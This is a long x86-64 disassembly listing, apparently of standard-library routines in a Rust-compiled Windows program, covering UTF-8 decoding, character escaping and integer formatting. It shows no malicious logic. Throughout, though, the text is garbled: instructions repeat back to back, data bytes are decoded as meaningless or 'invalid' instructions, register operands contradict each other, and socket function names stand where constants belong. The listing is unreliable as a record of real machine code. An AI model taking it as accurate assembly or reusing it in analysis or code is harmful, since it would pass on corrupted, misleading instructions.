js 0x14005d820
lea rdi, [r12 + 1]
and al, 1
jmp 0x14005d890
invalid
mov eax, ebp
and eax, 0x1f
movzx edx, byte [r12 + 1]
and al, 1
call 0x18125b8a9
movzx edx, byte [rsp + 1]
and al, 1
and al, 1
and edx, 0x3f
cmp bpl, 0xdf
jbe 0x14005d873
lea rdi, [r12 + 3]
lea edi, [rsp + 3]
movzx ecx, byte [r12 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp bpl, 0xf0
cmp ch, 0xf0
cmp ch, 0xf0
jb 0x14005d881
movzx ebp, byte [rdi]
and eax, 7
shl eax, 0x12
adc al, cl
loope 0x14005d85f
adc al, cl
loope 0x14005d85f
and ebp, 0x3f
or ebp, ecx
or ebp, eax
cmp ebp, 0x110000
je 0x14005da52
vpaddw xmm0, xmm15, xmmword [rax]
add byte [rcx], dl
add byte [rdi], cl
test dh, ah
add dword [rax], eax
add byte [rcx - 0x73], cl
jl 0x14005d894
lea rdi, [r12 + 4]
jmp 0x14005d890
add al, 0xeb
sbb eax, 0x247c8d49
add al, cl
loopne 0x14005d881
lea rdi, [r12 + 2]
shl eax, 6
or eax, edx
mov ebp, eax
jmp 0x14005d890
shl eax, 0xc
or ecx, eax
mov ebp, ecx
nop dword [rax + rax]
lea rcx, [rsp + 0x4c]
mov edx, ebp
mov rdx, r13
mov r8d, 0x10001
call fcn.14005dae0
cmp byte [rsp + 0x4c], 0x80
je 0x14005d7f8
movzx eax, byte [rsp + 0x57]
sub al, byte [rsp + 0x56]
cmp al, 1
je 0x14005d7f8
mov r8, r15
sub r8, r13
jb 0x14005daa1
test r13, r13
test ebp, ebp
je 0x14005d8e8
cmp r13, qword [rsp + 0x38]
jae 0x14005d8e2
invalid
or al, 0x42
cmp byte [rbx + rbp], 0xc0
cmp byte [rbx + r13], 0xc0
jge 0x14005d8e8
jmp 0x14005daa1
add dword [rax], eax
add byte [rdi], cl
test dword [rcx + 0x4d000001], edi
jne 0x14005daa1
test r15, r15
test edi, edi
je 0x14005d906
cmp r15, qword [rsp + 0x38]
jae 0x14005d900
cmp byte [rbx + r15], 0xbf
jg 0x14005d906
jmp 0x14005daa1
movabs eax, dword [0x19b850f000001]
add byte [rcx + 1], cl
fisttp qword [rax - 0x77]
mov rcx, rsi
jne 0x14005daa1
add r13, rbx
mov rcx, rsi
mov rdx, r13
mov rax, qword [rsp + 0x40]
call qword [rax + 0x18]
test al, al
jne 0x14005d7b1
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x4c]
mov qword [rsp + 0x28], rax
cmp al, 0x80
jne 0x14005d9a0
mov bl, 0x80
jmp 0x14005d965
invalid
mov edx, dword [rsp + 0x2c]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
add byte [rax], al
add byte [rax], al
xor ebx, ebx
mov rcx, rsi
call r14
test al, al
jne 0x14005d7b1
cmp bl, 0x80
je 0x14005d940
xor byte [rsi + rdx*8 + 0x44], 0xf
mov dh, 0x6c
and al, 0x32
movzx r13d, byte [rsp + 0x32]
cmp r13b, byte [rsp + 0x33]
cmp ch, byte [rsp + 0x33]
jae 0x14005d9e0
lea eax, [r13 + 1]
mov byte [rsp + 0x32], al
cmp r13b, 0xa
add dword [rax + 0x41322444], ecx
cmp ch, 0xa
jae 0x14005da8b
add dword [rdx], 1
add byte [rax], al
movzx edx, byte [rsp + r13 + 0x28]
jmp 0x14005d957
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rdi], cl
mov dh, 0x5c
and al, 0x33
movzx ebx, byte [rsp + 0x33]
movzx r13d, byte [rsp + 0x32]
mov dh, 0x6c
and al, 0x32
nop dword [rax + rax]
cmp r13, rbx
cmp ebp, ebx
jae 0x14005d9e0
lea eax, [r13 + 1]
mov byte [rsp + 0x32], al
cmp r13, 9
ja 0x14005da8b
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx + 0xf], al
mov dh, 0x54
sub al, 0x28
movzx edx, byte [rsp + r13 + 0x28]
mov rcx, rsi
call r14
call rsi
call rsi
inc r13
test al, al
je 0x14005d9b0
jmp 0x14005d7b1
mov r13d, 1
cmp ebp, 0x80
jb 0x14005d7f0
mov r13d, 2
cmp ebp, 0x800
jb 0x14005d7f0
cmp ebp, 0x10000
mov r13d, 4
sbb r13, 0
jmp 0x14005d7f0
add rbx, r13
mov rcx, rsi
mov rdx, rbx
call qword [r15 + 0x18]
test al, al
jne 0x14005d7b1
mov rcx, rsi
mov edx, 0x22
mov rax, r14
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
test r13, r13
je 0x14005da72
mov rdx, qword [rsp + 0x38]
mov rax, rdx
sub rax, r13
mov r15, qword [rsp + 0x40]
jbe 0x14005da81
cmp byte [rbx + r13], 0xbf
jg 0x14005da86
jmp 0x14005dac2
xor r13d, r13d
mov r8, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
jmp 0x14005da1f
jne 0x14005dac2
mov r13, rdx
mov r8, rax
jmp 0x14005da1f
lea r8, [0x14016d9d8]
mov edx, 0xa
mov rcx, r13
call fcn.140160ed0
ud2
lea rax, [0x14016ce20]
adc byte [rax], al
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rsp + 0x38]
mov r8, r13
mov r9, r15
call fcn.140161400
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x73]
add eax, 0x10f33f
lea rax, [0x14016ce08]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov r8, r13
call 0x128d76421
and al, 0x39
adc byte [rax], al
call 0x128d76421
and al, 0x39
adc byte [rax], al
ud2
or ecx, esp
int3
xlatb
mov rsi, rcx
cmp edx, 0x27
ja case.default.0x14005db00
mov eax, edi
clc
lea rcx, [0x1402086ac]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
mov word [rsi], 0x305c
jmp 0x14005dc68
invalid
pop rsp
xor cl, ch
pop rsp
add dword [rax], eax
add byte [rax], al
add byte [rbx + 0x48755cff], al
cmp edi, 0x5c
jne case.0x14005db00.1
mov word [rsi], 0x5c5c
pop rsp
jmp 0x14005dc68
add dword [rax], eax
add byte [rsi - 0x39], ah
invalid
invalid
invalid
mov word [rsi], 0x745c
jmp 0x14005dc68
je 0x14005db0a
add dword [r8], eax
add byte [rsi - 0x39], ah
invalid
invalid
invalid
mov word [rsi], 0x6e5c
outsb dx, byte [rsi]
jmp 0x14005dc68
mov word [rsi], 0x725c
jmp 0x14005dc68
test r8d, 0x10000
add byte [rax], al
add dword [rax], eax
je case.0x14005db00.1
mov word [rsi], 0x225c
jmp 0x14005dc68
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 9], al
test r8d, 0x100
test r8d, 0x100
jne 0x14005dc63
test r8b, 1
je 0x14005db6a
mov ecx, edi
call fcn.14005e350
test al, al
jne 0x14005db73
cmp edi, 0x20
jae 0x14005dc1e
mov byte [rsp + 0x40], 0
mov word [rsp + 0x3e], 0
mov byte [rsp + 0x47], 0x7d
mov ecx, edi
shr ecx, 0x14
and ecx, 0xf
lea rax, str.0123456789abcdeflibrarycore_srcescape.rs
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x41], cl
mov ecx, edi
shr ecx, 0x10
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x42], cl
mov ecx, edi
shr ecx, 0xc
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x43], cl
mov ecx, edi
shr ecx, 8
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x44], cl
mov ecx, edi
shr ecx, 4
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x45], cl
mov ecx, edi
and ecx, 0xf
movzx eax, byte [rcx + rax]
mov byte [rsp + 0x46], al
or edi, 1
bsr eax, edi
xor eax, 0x1c
shr eax, 2
lea rcx, [rax - 2]
mov byte [rsp + rax + 0x3e], 0x7b
mov word [rsp + rax + 0x3c], 0x755c
movzx eax, word [rsp + 0x46]
mov word [rsi + 8], ax
mov rax, qword [rsp + 0x3e]
mov qword [rsi], rax
mov byte [rsi + 0xa], cl
mov byte [rsi + 0xb], 0xa
jmp 0x14005dc76
cmp edi, 0x7f
jb 0x14005dd4c
cmp edi, 0x10000
jae 0x14005dc7d
lea rax, [0x14016d805]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0x12f
mov qword [rsp + 0x20], 0x11f
lea rdx, [0x14016d696]
lea r9, [0x14016d6e6]
mov r8d, 0x28
jmp 0x14005dcb7
mov word [rsi], 0x275c
mov qword [rsi + 2], 0
mov word [rsi + 0xa], 0x200
add rsp, 0x48
pop rdi
pop rsi
ret
cmp edi, 0x20000
jae 0x14005dccb
lea rax, [0x14016d4d4]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0x1c2
mov qword [rsp + 0x20], 0xc4
lea rdx, [0x14016d3b8]
lea r9, str._f__NO
mov r8d, 0x2c
mov ecx, edi
call fcn.14005e4b0
test al, al
je 0x14005db73
jmp 0x14005dd4c
lea eax, [rdi - 0xe01f0]
cmp eax, 0x2fe10
jb 0x14005db73
movd xmm0, edi
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x1401688e0]
pxor xmm0, xmmword [0x1401688f0]
movdqa xmm1, xmmword [0x140168900]
pcmpgtd xmm1, xmm0
movmskps eax, xmm1
test al, al
jne 0x14005db73
lea eax, [rdi - 0x3134b]
cmp eax, 5
jb 0x14005db73
lea eax, [rdi - 0x323b0]
cmp eax, 0xadd50
jb 0x14005db73
mov eax, edi
and eax, 0xffffffe0
cmp eax, 0x2a6e0
je 0x14005db73
mov eax, edi
and eax, 0xfffffffe
cmp eax, 0x2b81e
je 0x14005db73
mov byte [rsi], 0x80
mov dword [rsi + 4], edi
jmp 0x14005dc76
invalid
add dword [rax], eax
add byte [rax], al
mov rcx, r8
mov r8d, eax
mov eax, eax
mov eax, eax
mov r9d, 0x5f5e100
call fcn.14005f1a0
nop
add rsp, 0x48
ret
nop
add rsp, 0x48
ret
add byte [rax], al
mov eax, r8d
mov r8, rdx
mov rsi, rcx
mov rbx, qword [rsp + 0x118]
mov r14, qword [rsp + 0x110]
mov rdi, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x100]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rbx
movabs rcx, 0x3030303030303030
mov qword [rsp + 0x20], rcx
mov byte [rsp + 0x28], 0x30
sub byte [rax], dh
sub byte [rax], dh
mov r10, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
test eax, eax
je 0x14005f439
test r10, r10
mov r11d, 9
or dword [rax], eax
add byte [rax], al
or dword [rax], eax
add byte [rax], al
cmovne r11, rcx
test r11, r11
je 0x14005f441
xor edx, edx
div r9d
add al, 0x30
mov byte [rsp + 0x20], al
test edx, edx
je 0x14005f469
mov r15d, r9d
mov r12d, 0xcccccccd
imul r12, r15
shr r12, 0x23
cmp r11, 1
je 0x14005f3d9
cmp r9d, 0xa
jb 0x14005f757
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rsp + 0x21], al
test edx, edx
je 0x14005f471
imul r12, r15, 0x51eb851f
shr r12, 0x25
cmp r11, 2
je 0x14005f3d9
cmp r9d, 0x64
jb 0x14005f757
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rsp + 0x22], al
test edx, edx
je 0x14005f479
imul r12, r15, 0x10624dd3
shr r12, 0x26
cmp r11, 3
je 0x14005f3d9
cmp r9d, 0x3e8
jb 0x14005f757
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rsp + 0x23], al
test edx, edx
je 0x14005f481
mov r12d, 0xd1b71759
imul r12, r15
shr r12, 0x2d
shr esp, 0x2d
shr esp, 0x2d
cmp r11, 4
je 0x14005f3d9
test cl, ah
add byte [rax], al
invalid
test cl, ah
add byte [rax], al
add byte [rcx - 0x7f], al
stc
adc byte [rdi], ah
add byte [rax], al
cmp r9d, 0x2710
jb 0x14005f757
invalid
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rsp + 0x24], al
test edx, edx
je 0x14005f489
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx + rcx*4 - 0x38], al
mov eax, r9d
shr eax, 5
imul r12, rax, 0xa7c5ac5
add eax, 0xc5e0694c
pop rdx
jl 0x14005f331
shr r12, 0x27
cmp r11, 5
je 0x14005f3d9
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rcx - 0x7f], al
stc
movabs al, byte [0x415820f000186]
add byte [rcx + 0x41d231d0], cl
div esp
cmp r9d, 0x186a0
jb 0x14005f757
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rsp + 0x25], al
test edx, edx
je 0x14005f491
imul r12, r15, 0x431bde83
shr r12, 0x32
cmp r11, 6
je 0x14005f3d9
cmp r9d, 0xf4240
jb 0x14005f757
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rsp + 0x26], al
test dx, dx
je 0x14005f499
imul r12, r15, 0x6b5fca6b
shr r12, 0x36
cmp r11, 7
je 0x14005f3d6
cmp r9d, 0x989680
jb 0x14005f757
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rsp + 0x27], al
test dx, dx
je 0x14005f4a1
imul r12, r15, 0x55e63b89
shr r12, 0x39
cmp dword [rcx - 0x7d], ecx
sti
or byte [rdi], cl
test ebx, edx
add byte [rax], al
invalid
cmp dword [rcx - 0x7d], ecx
sti
or byte [rdi], cl
test ebx, edx
add byte [rax], al
add byte [rdi], cl
mov bh, 0xd2
movzx edx, dx
mov qword [rsp + 0x30], r11
lea eax, [r12 + r12*4]
cmp edx, eax
jb 0x14005f4cf
lea rax, [r11 - 1]
mov edx, 0x30
nop word cs:[rax + rax]
mov r15, rax
movzx r9d, byte [rsp + rax + 0x20]
lea r12d, [r9 + 1]
add rax, 0xffffffffffffffff
setb bpl
movzx r12d, r12b
cmp r9b, 0x39
cmovae r12d, edx
mov byte [rsp + r15 + 0x20], r12b
jb 0x14005f42d
test bpl, bpl
jne 0x14005f400
cmp r9b, 0x38
jbe 0x14005f4cf
jmp 0x14005f457
xor r11d, r11d
jmp 0x14005f4ca
mov qword [rsp + 0x30], 0
lea edx, [r9 + r9*4]
cmp edx, eax
jbe 0x14005f457
xor r11d, r11d
xor ebx, ebx
jmp 0x14005f4cf
inc r8
jne 0x14005f4cf
invalid
jae 0x14005f4a5
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x38], 0
mov al, 1
jmp 0x14005f4df
mov r11d, 1
jmp 0x14005f4ca
mov r11d, 2
jmp 0x14005f4ca
mov r11d, 3
jmp 0x14005f4ca
add byte [rax], al
add bl, ch
mov r11d, 4
mov r11d, 4
jmp 0x14005f4ca
mov r11d, 5
jmp 0x14005f4ca
mov r11d, 6
jmp 0x14005f4ca
invalid
mov r11d, 7
jmp 0x14005f4ca
invalid
mov r11d, 8
add byte [rax], al
jmp 0x14005f4ca
cmp r9d, 0x5f5e100
jb 0x14005f757
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rsp + 0x28], al
mov r11d, 9
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], 1
xor eax, eax
cmp rcx, 9
mov r9d, 9
cmovb r9, rcx
test r10, r10
cmove r9, r11
mov qword [rsp + 0x48], r9
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x70], rdx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x78], rdx
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x80], rdx
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x88], rdx
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x90], rdx
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x98], rdx
cmp qword [rsi], 0
je 0x14005f6a9
cmp rbx, 1
jne 0x14005f558
xor r15d, r15d
xor edx, edx
jmp 0x14005f5c0
mov rdx, rbx
and rdx, 0xfffffffffffffffe
pxor xmm0, xmm0
xor r15d, r15d
movdqa xmm1, xmmword [0x1401688b0]
movdqa xmm2, xmmword [0x1401687a0]
nop word cs:[rax + rax]
movzx ebp, word [r14 + r15]
movd xmm3, ebp
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r15, 2
cmp rdx, r15
cmp edx, edi
cmp edx, edi
jne 0x14005f580
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r15, xmm1
cmp rdx, rbx
je 0x14005f5d7
nop
xor r12d, r12d
cmp byte [r14 + rdx], 0xc0
rol byte [rcx + 0xf], 0x9d
invalid
add r15, r12
inc rdx
inc edx
rol byte [rcx + 0xf], 0x9d
invalid
inc edx
cmp rbx, rdx
jne 0x14005f5c0
mov r14, qword [rsi + 8]
add r15, rdi
mov edx, setsockopt
test al, al
jne 0x14005f674
mov dword [rax], eax
add byte [rax], al
mov dword [rax], eax
add byte [rax], al
test r8, r8
je 0x14005f66f
invalid
jg 0x14005f63d
mov rdi, r8
mov edi, eax
movabs rdx, 0xdbe6fecebdedd5bf
mov rax, r8
mul rdx
shr rdi, 0xa
shr edi, 0xa
mov edx, 0xbdedd5bf
invalid
shr edi, 0xa
shr rdx, 0x21
xor eax, eax
cmp rdi, 0x9502f9
add byte [rdi + 0xa], bh
add byte [rdi + 0xa], bh
cmovb edi, eax
clc
cmovb rdx, r8
cmp rdx, 0x186a0
invalid
xchg byte [rcx], al
add byte [rdx + 0x1b], dh
movabs al, byte [0xeac1481b72000186]
add eax, 0x7843b849
mov ah, 0x71
invalid
shr rdx, 5
movabs r8, 0xa7c5ac471b47843
mov rax, rdx
mul r8
shr rdx, 7
or edi, 5
lea eax, [rdx + 0x5fff6]
lea r8d, [rdx + 0x7ff9c]
and r8d, eax
lea eax, [rdx + 0xdfc18]
add edx, 0x7d8f0
and edx, eax
xor edx, r8d
shr edx, 0x11
add edx, edi
inc rdx
jmp 0x14005f674
mov edx, 1
test r10, r10
cmove rcx, r11
inc rcx
test r9, r9
cmove rcx, r9
add rcx, rdx
add r15, rcx
sub r14, r15
jbe 0x14005f6a9
movzx eax, byte [rsi + 0x38]
lea rcx, [0x14020874c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r12d, r12d
jmp 0x14005f6cf
lea rcx, [rsp + 0x70]
mov rdx, rsi
call fcn.14005f780
jmp 0x14005f745
mov r12, r14
xor r14d, r14d
jmp 0x14005f6cf
mov r12, r14
shr r12, 1
inc r14
shr r14, 1
mov rdi, qword [rsi + 0x20]
mov r15, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x30]
inc r12
nop dword [rax]
dec r12
je 0x14005f6f4
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
test al, al
je 0x14005f6e0
jmp 0x14005f705
lea rcx, [rsp + 0x70]
mov rdx, rsi
call fcn.14005f780
test al, al
je 0x14005f709
mov al, 1
jmp 0x14005f745
mov r12, r14
neg r12
mov rsi, 0xffffffffffffffff
nop word cs:[rax + rax]
lea rax, [r12 + rsi]
cmp rax, 0xffffffffffffffff
je 0x14005f73c
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
inc rsi
test al, al
je 0x14005f720
jmp 0x14005f73f
mov rsi, r14
cmp rsi, r14
setb al
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, str.attempt_to_divide_by_zeroout_of_range_integral_type_conversion_attemptedcannot_parse_integer_from_empty_stringinvalid_digit_found_in_stringnumber_too_large_to_fit_in_target_typenumber_too_small_to_fit_in_target_typenumber_would_be_zero_for_non_zero_typelibrarycore_src_fmtmod.rs
lea r8, str.librarycore_src_time.rs
mov edx, 0x19
call fcn.140160fb0
ud2
int3
mov ecx, dword [rcx]
mov r8, r9
neg r8
cmovs r8, r9
mov rcx, rdx
mov ecx, edx
mov eax, 0x27
lea r10, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
cmp r8, 0x2710
add byte [rax], al
jb 0x140061313
mov esi, 0x27
movabs r11, 0x346dc5d63886594b
cmp dh, dl
invalid
insd dword [rdi], dx
xor al, 0x90
cmp dh, dl
invalid
mov rax, r8
mul r11
shr rdx, 0xb
imul eax, edx, 0x2710
mov edi, r8d
sub edi, eax
imul ebx, edi, 0x147b
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
movzx ebx, word [r10 + rbx*2]
mov word [rsp + rsi + 0x35], bx
movzx edi, word [r10 + rdi*2]
cmp al, 0x7a
mov word [rsp + rsi + 0x37], di
mov rsi, rax
cmp r8, 0x5f5e0ff
mov r8, rdx
ja 0x140061280
cmp rdx, 0x63
jbe 0x140061301
movzx r8d, dx
shr r8d, 2
imul r8d, r8d, 0x147b
shr r8d, 0x11
call 0x1187157fa
sub edx, r11d
movzx edx, dx
movzx edx, word [r10 + rdx*2]
mov word [rsp + rax + 0x37], dx
add rax, 0xfffffffffffffffe
mov rdx, r8
cmp rdx, 0xa
jae 0x14006131e
add dl, 0x30
mov byte [rsp + rax + 0x38], dl
dec rax
jmp 0x14006132c
mov rdx, r8
cmp rdx, 0x63
cli
invalid
ja 0x1400612d3
jmp 0x140061301
movzx edx, word [r10 + rdx*2]
mov word [rsp + rax + 0x37], dx
add rax, 0xfffffffffffffffe
test r9, r9
setns dl
lea r8, [rsp + rax]
add r8, 0x39
mov r9d, 0x27
sub r9, rax
sub ecx, eax
sub ecx, eax
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], r8
lea r8, [0x140204680]
xor r9d, r9d
call fcn.140059040
nop
add rsp, 0x60
add esp, 0x60
pop rbx
pop rdi
pop rsi
ret
int3
mov rdi, rcx
lea rax, [rcx + 8]
mov qword [rsp + 0x40], rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x14017031a]
adc byte [rax], al
sub byte [rax - 0x73], cl
adc eax, 0x10ef86
adc byte [rax], al
mov r8d, 9
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
cmp dword [rax], eax
cmp dword [rax], eax
lea rax, [fcn.14005a040]
mov qword [rsp + 0x20], rax
lea rdx, [0x140170323]
adc byte [rax], al
adc byte [rax], al
lea rsi, [rsp + 0x30]
mov r8d, recv
mov rcx, rsi
mov r9, rdi
call fcn.14005ca00
lea rax, case.0x14002a035.335
mov qword [rsp + 0x20], rax
lea rdx, [0x14017032e]
lea r9, [rsp + 0x40]
mov r8d, 9
or dword [rax], eax
add byte [rax], al
or dword [rax], eax
add byte [rax], al
mov rcx, rsi
call fcn.14005ca00
cmp byte [rsp + 0x39], 0
movzx eax, byte [rsp + 0x38]
je 0x140061446
test al, al
mov al, 1
jne 0x140061446
mov rax, qword [rsp + 0x30]
test byte [rax + 0x34], 4
jne 0x14006142e
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1401da4d0]
mov r8d, 2
jmp 0x140061443
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1401dc0ab]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
test al, al
setne al
add rsp, 0x48
pop rdi
pop rsi
ret
push rsi
push rbx
sub rsp, 0x48
mov rsi, rdx
mov rax, qword [rcx]
cmp byte [rax], 0
je 0x140061527
inc rax
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x40], eax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401de99c]
mov r8d, 4
add byte [rax], al
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
and al, 0x30
and al, 0x30
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
mov eax, 0x8d480010
and al, 0x28
and al, 0x28
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
mov eax, 0x8d480010
and al, 0x28
and al, 0x28
and al, 0x28
lea rdx, [rsp + 0x40]
call fcn.14005cdb0
call fcn.14005cdb0
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
mov dh, 0x4c
and al, 0x38
mov dh, 0x4c
and al, 0x38
test rax, rax
je 0x140061549
mov bl, 1
test cl, cl
jne 0x14006154b
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x14006150b
invalid
sub dword [rax + 0x39247c], eax
cmp byte [rsp + 0x39], 0
je 0x14006150b
test byte [rsi + 0x34], 4
jne 0x14006150b
sbb al, 0x48
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
test al, al
jne 0x14006154b
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14006154b
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.NoneSome
mov r8d, 4
add rsp, 0x48
pop rbx
pop rsi
jmp rax
invalid
loopne 0x1400614d3
mov ebx, ecx
retf
test bl, bl
setne al
ror byte [rax - 0x7d], 0xc4
pop rbx
ror byte [rax - 0x7d], 0xc4
pop rbx
pop rsi
ret
int3
add byte [rax], al
xor r8d, r8d
lea rdx, [0x140170338]
mov r10d, 0xff
mov r11d, 0x35
jmp 0x140061598
mov r11, rax
sub rax, r8
jbe 0x1400615d7
shr rax, 1
add rax, r8
add eax, eax
add eax, eax
mov edi, dword [rdx + rax*4]
shl edi, 0xb
out 0xb, eax
out 0xb, eax
xor esi, esi
cmp edi, r9d
setne sil
cmovb esi, r10d
cmp sil, 1
cmp sil, 1
je 0x140061590
movzx r8d, sil
inc rax
cmp r8d, 0xff
inc dword [rax]
add byte [rax], al
inc dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rbp + 0xd], dh
jne case.0x14003207d.263
mov r8, rax
mov eax, eax
mov rax, r11
sub rax, r8
ja 0x140061598
jmp 0x1400615d7
mov r8, rax
cmp r8, 0x34
ja 0x1400616a3
mov eax, dword [rdx + r8*4]
shr eax, 0x15
cmp r8, 0x34
jne 0x1400615fc
invalid
invalid
mov r8d, 0x33
mov r9d, 0x5b9
add byte [rax], al
add byte [rax], al
jmp 0x14006160d
mov r9d, dword [rdx + r8*4 + 4]
shr r9d, 0x15
invalid
invalid
add al, 0x41
shr ecx, 0x15
invalid
invalid
jmp 0x1008b631d
test r8, r8
je 0x14006166e
dec r8
mov r10d, 0x1fffff
and r10d, dword [rdx + r8*4]
mov rdx, rax
not rdx
add rdx, r9
je 0x140061665
sub ecx, r10d
sub ecx, edx
dec r9
xor edx, edx
lea r10, [0x14017040c]
mov r8, rax
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
cmp r8, 0x5b8
ja 0x14006167e
mov eax, 0x77000005
xor eax, 0x1cb60f47
adc byte [rcx + rax - 0x26], al
add edx, ebx
movzx r11d, byte [r8 + r10]
add edx, r11d
add edx, ebx
add edx, ebx
cmp edx, ecx
ja 0x140061662
inc r8
cmp r9, r8
jne 0x140061640
mov rax, r9
jmp 0x140061665
mov rax, r8
and al, 1
add rsp, 0x28
sub byte [rdi + 0x5e], bl
sub byte [rdi + 0x5e], bl
ret
xor r10d, r10d
mov rdx, rax
not rdx
add rdx, r9
jne 0x140061622
jmp 0x140061665
cmp rax, 0x5ba
mov ecx, 0x5b9
cmovb rax, rcx
ror dword [rbp + r9*4 + 5], 0xe4
ret 0x10
mov edx, 0x5b9
mov ecx, 0x48000005
mov ecx, eax
ror dword [rbp + r9*4 + 5], 0xe4
ret 0x10
mov ecx, 0x48000005
mov ecx, eax
call fcn.140160ed0
ud2
lea r8, [0x14016d960]
mov ecx, 0x35
mov edx, 0x35
invalid
add byte [rax], al
invalid
xor eax, 0xe8000000
invalid
call fcn.140160ed0
ud2
loope 0x1400616d8
mov eax, 0x27
xor r8d, r8d
lea rdx, [0x140170d24]
mov r10d, 0xff
not byte [rax]
add byte [rcx - 0x46], al
inc dword [rax]
add byte [rax], al
mov r11d, 0x27
jmp 0x1400616f8
mov r11, rax
sub rax, r8
jbe 0x140061737
shr rax, 1
add rax, r8
mov edi, dword [rdx + rax*4]
shl edi, 0xb
invalid
or esi, dword [rcx]
test byte [rcx + rdi - 0x31], 0x40
setne dh
xor esi, esi
cmp edi, r9d
setne sil
cmovb esi, r10d
cmp sil, 1
je 0x1400616f0
movzx r8d, sil
inc rax
rol byte [rcx - 0x7f], 0xf8
inc dword [rax]
add byte [rax], al
rol byte [rcx - 0x7f], 0xf8
inc dword [rax]
add byte [rax], al
jne 0x140061734
mov r8, rax
ror byte [rcx + rcx*4 - 0x28], 0x4c
sub eax, eax
mov rax, r11
sub rax, r8
ja 0x1400616f8
